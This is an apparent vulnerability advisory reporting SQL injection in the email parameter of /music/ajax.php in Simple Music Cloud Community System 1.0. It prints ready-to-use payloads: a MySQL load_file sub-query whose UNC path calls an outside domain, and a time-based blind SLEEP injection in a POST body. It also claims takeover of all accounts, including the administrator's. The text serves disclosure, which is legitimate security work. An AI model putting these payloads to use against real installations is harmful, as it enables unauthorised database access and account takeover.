## Title: Simple Music Cloud Community System 1.0 SQL - Injections
## Author: nu11secur1ty
## Date: 01.05.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14605/simple-music-cloud-community-system-using-phpmysqli-source-code.html
## Description:
The `email` parameter in `/music/ajax.php` from Simple Music Cloud
Community System 1.0 appears to be vulnerable to SQL injection
attacks.
The payload '+(select
load_file('\\\\bbqv9il1nuxps6uwt46g84o25tbmzdw7kynmf95xu.nu11secur1tyPenetrationTestingEngineer.net\\jeu'))+'
was submitted in the email parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL
[+] Payload:
```mysql
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=ebeqkuOOo@nu11secur1tyPenetrationTestingEngineer.net'+(select
load_file('\\\^beqku.nu11secur1tyPenetrationTestingEngineer.net\^beqku'))+''
AND (SELECT 5251 FROM (SELECT(SLEEP(3)))yymL) AND
'JocD'='JocD&password=debeliqkur
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Simple-Music-Cloud-Community-System)
## Proof and Exploit:
[href](https://streamable.com/i2yjbv)